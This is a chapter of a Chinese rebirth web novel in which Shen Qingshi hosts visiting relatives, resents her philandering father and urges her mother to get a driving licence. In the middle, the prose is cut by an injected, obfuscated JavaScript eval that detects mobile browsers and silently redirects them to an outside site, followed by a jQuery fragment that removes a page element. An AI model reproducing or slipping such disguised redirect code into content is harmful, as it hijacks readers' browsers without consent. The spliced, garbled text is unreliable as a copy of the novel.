兄妹两个到家时爷爷奶奶已经到了,同来的还有大伯、小叔、大姑家的二表姐张淳、小姑家的宁宁姐和表弟龙龙。沈青时跟在大哥身边挨个叫人,爷奶这几年倒是没多大变化,身体还是很硬朗的,奶奶胖了些,爷爷瘦了。
“青青漂亮了。”张淳笑嘻嘻的开口夸,再不是上次见面时的爱答不理。
沈青时回了个浅浅的笑,招呼一声先回房间换衣服去了。
她跟表姐表弟真心没什么好说的,无论前世还是今生交集应该都不会很多。
前世的这时候,她还会主动和他们亲近,毕竟都大了,懂事了,小时的摩擦没必要斤斤计较。
只是重生了,经历了过往种种,这世的沈青时就不想再浪费时间和精力了。
没必要。
前世,找这些人寻求帮助,没一个施与援手,是,她也没有给过人家什么好处。只是怎么说呢,道理都懂,帮是情分,不帮是本分,可人嘛,七情六欲,真要一点不介怀那就太考验人了。
反正她是有些介意的。
毕竟是亲戚,关系总是不一样的,多的帮不了,少的三百五百拿不出?
上辈子她爸妈相继去世,来参加葬礼的,除了长辈和几个堂兄,大姑家的孩子跟小姑家的孩子一个都没露面,反而关系最寻常的二姑家的孩子来参加了葬礼。
要知道爸妈活着时,他们结婚生子他家都是出钱出力,从不失礼,后来她家落魄,成了穷亲戚,连葬礼都不来,这让她如何不耿耿于怀。
换了衣服从房间出来,妈妈刚好进玄关,她手里提着买回的熟食和从饭店打包的饭菜。
这两年她爸混的算是风生水起,开了公司,有了专属的司机,出门在外人家也会叫声沈总,牛逼哄哄的。但往家拿的钱,其实不多。买房的十万还是她妈说有关系能帮忙牵线搞工程硬抠出来的,要不想光明正大弄套房子真心难。
沈青时很清楚她爸不是没钱,只是男人的心不在这儿,有钱当然也不会第一时间想着糟糠妻和他的孩子。他心里自有他的心头好跟宝贝私生子,原配跟原配生的孩子在他心里又算得了什么?
这一点,她妈一直看不透,对他爸总是抱持着希冀,觉得这个男人心里还是有这个家的。
当然了,这个想法也不是完全错误。毕竟她爸也确实没有真的渣到底,用句话概括就是家里红旗不倒,外面彩旗飘飘,只是外面的彩旗太飘了,家里的红旗也太没分量了。
也因此,才一直藕断丝连着,分不分合不合的过着畸形的日子。
今天吃饭的人多,妈妈指挥大哥二哥把大圆桌在客厅撑开,挤挤挨挨的勉强能坐下。
看得出爷奶很高兴,儿子在大城市买了大房子,快二百平呢,装修的又好,2000年初,农村生活水平普遍低下的情况下,能住上省城的商品房在村里绝对是傲视群雄的存在。老人不会管房子是不是贷款,也不懂这个,就觉得既然住进来那就是能耐,是出息!
虽然儿子总是一次次的掉链子,不过现在出息了就行,浪子回头金不换,当爹妈的在孩子的事情上总是忘性大,记好不记坏。
沈青时在爹妈的事情上现在已经放弃治疗了。随便吧,掺和了也没人听她的。只要家里不缺钱花,生活有保障,其他的顺其自然就好,至于离婚什么的,她觉得还是有机会的。
“姐,晚上咱俩回村里住呗?”吃过饭在厨房洗碗的时候,沈北过来小声提议,“二表姐和宁宁姐肯定睡你那屋,你不嫌挤啊?”
沈青时:“咱妈刚才说了,在客厅铺凉席,你跟大哥二哥还有龙飞睡客厅,二表姐和宁宁姐睡大哥那屋,爷奶还有大伯小叔睡你跟二哥那屋,我自己睡挤什么啊?”
这边四个房间,爹妈一屋,她一个,大哥年纪大了也自己一个屋,剩下北边那间最大的卧室是二哥和小弟的房间。装修时家具都是现打的,床做的尤其宽敞,二哥跟小弟的床并在一起,睡五六个人松松的,就是那么大。
沈北不太乐意,“我不想睡客厅,我想回去睡,你跟我一块儿呗,要不妈肯定不同意。”
沈青时没好气,“大家都这样睡,就你挑三拣四要出去,这样好看啊?龙飞不也睡客厅?”
沈北撇嘴,还要继续,沈东拎着西瓜进来,见小弟也在,张嘴就训,“你给我老实待家里,又不是大姑娘睡客厅怎么了,埋汰你了!?”
沈北嗫嚅着低下头不吭声,表情很有些不甘愿,但慑于大哥的淫威之下没敢多哔哔,做个鬼脸灰溜溜出去了。
沈青时觉得好笑,前世小弟跟大哥最不对付,经常因为一点小事就吵起来,对大哥也很不尊重。但这辈子可能是家里情况有所改变?或者大哥更有担当了?反正沈北那家伙在家里除了老妈最怕的就是大哥了,对爸爸都没这么惧的。
沈东也是好气又好笑,跟妹妹说,“甭理他,惯的他!”
“惯谁啊?”沈南听了个尾巴,一脸好奇的进来。
“还能谁啊,咱家小少爷呗!”沈青时冲掉手上的泡沫,问二哥,“咱爸晚上住家里?”
沈南摇头,神色淡淡,“好像不住吧,我刚听见他跟咱奶说有事忙,马上要走。”
其实谁也不是傻子,什么事大晚上的还要忙?一次两次你说忙,十次八次还是忙忙忙,连住家里的时间都没有?尤其是这两年越发过分,在家留宿的次数几乎没有,明显有问题,市长估计都没他这么忙的。
只是他们兄妹都心知肚明,唯独他们妈,不知道是有意还是无意,那层窗户纸总是不愿意去捅破,自欺欺人得过且过。
*
中考结束,沈青时并没有让自己放松下来。她今年夏天钢琴要考七级,报的美术班也要开课了,高中课程虽然已经自学了一部分,但她还是准备请个家教系统的梳理一遍,如果时间充裕,她还想报个舞蹈班,再学个法语或德语,或者报个散打什么的,学点女子防身术,总之把自己的时间安排的特别满。
姜芳对此当然大力支持。她没什么文化,也不懂什么大道理,只要孩子肯学,她有这个能力供应,就绝不会反对。
沈青时每天都很忙,所以招待表姐表弟的任务就落在了二哥和小弟身上,因为大哥比她还忙。
妈妈的串串店,一店还在张爷爷那儿开着,前年旁边开杂货店的李叔退房不干回老家了,妈妈就把那间门面也盘下来中间打通,重新装修,扩了店面。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546097|141758||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
一店一直是妈妈在管理,二店开在明厅路上,三店在另一个区。
虽然店里都请了店长,但管理不能松懈。现在不像以后,没有餐饮收银系统,收款全人工,所以大哥会时不时的去分店转一转,看一看,有问题解决问题,没问题也能起到震慑作用,让员工不敢私下搞什么小动作。
除此外,张寨的房子推倒重建的事也提上日程,沈青时知道盖房子,越往后越贵,趁着这两年建材都还不贵的时候抓紧时间盖房绝对是王道。
这些事她爸统统不知道,在他爸的印象里,她家小吃店依然月入六百到一千,也就管个温饱。
家里事多,妈妈一个人忙不过来,身为家中长子,大哥自然要出面担起责任。他虽然刚成年,却已经是妈妈的左膀右臂,家里的顶梁柱,哪哪都离不开他,不过等大哥开学去外地读书,这个担子估计要交接给她和二哥了。
*
大伯小叔在这留了三天就走了,表姐表弟留下过暑假。
爷奶知道妈妈做着小生意,就没让她妈在家伺候,二老没事会在小区里转转,他们家住一楼,出门方便,小区环境不错,老人挺多的,只要爷奶不出小区就没事。
他们也不用人跟着,每天看人下下棋,跟人在亭子里支个小桌子打打牌也挺美的。
就是她爸依旧不着家,把爷奶接到城里就不管了,也没往家里拿什么钱,听她妈说她爸最近在弄厂房钱紧张什么的。
这个事儿吧,沈青时不做置评,反正在她的印象里她爸就没有钱不紧张的时候。
前世因为信任,所以他们娘几个一直傻乎乎的想着体谅他,能不找他要钱就不要,能坚持就坚持,直到她爸破产患病,从别人口中得知他给小三买地皮盖楼,给小三开店开厂,给小三一掷千金买东买西的时候,才觉得他们真是傻,傻的出奇。
可那时她爸已经胃癌晚期,小三潇洒的说不管就能不管,坑的他们一家子又要面对讨债的,又要为生计为医药费发愁,如果不是他,她妈也不会去的那么早。
想起来就气!
沈青时摇摇头,把这些不美好的东西都甩掉,这辈子已经和前世不同了,他们已经有了安身立命的根本,哪怕她爸哪天突然没了,也不会影响到什么。
“妈,你去考个驾照呗。”
姜芳正在店里算这个月三家店的账目,沈青时跟沈东帮忙算,沈南沈北在家看顾老人。
“我?考驾照?”姜芳闻言就笑,“你妈我才认几个大字,我可不敢开车。”
“谁开车不是自己一点点学的?”沈青时眨着她真挚的大眼睛看自家妈,“报个驾校也不贵,学会了到时能自己开车多飒啊!我们班同学家里爹妈都会开车的可多了,而且一中离咱家多远啊,我不想住校,您考了驾照就能每天接送我上下学了!”
姜芳还是摇头,“不行不行,我可学不会,你不想住校我给你办张公交卡,从咱家坐公交车也方便。”
“妈,我觉得你可以试试。”沈东这时开口说道。
姜芳犹豫,“那……我试试吧。”
沈青时:“……”好气哦。她说话就这么没有分量的吗!!!多少年了,还这样!!!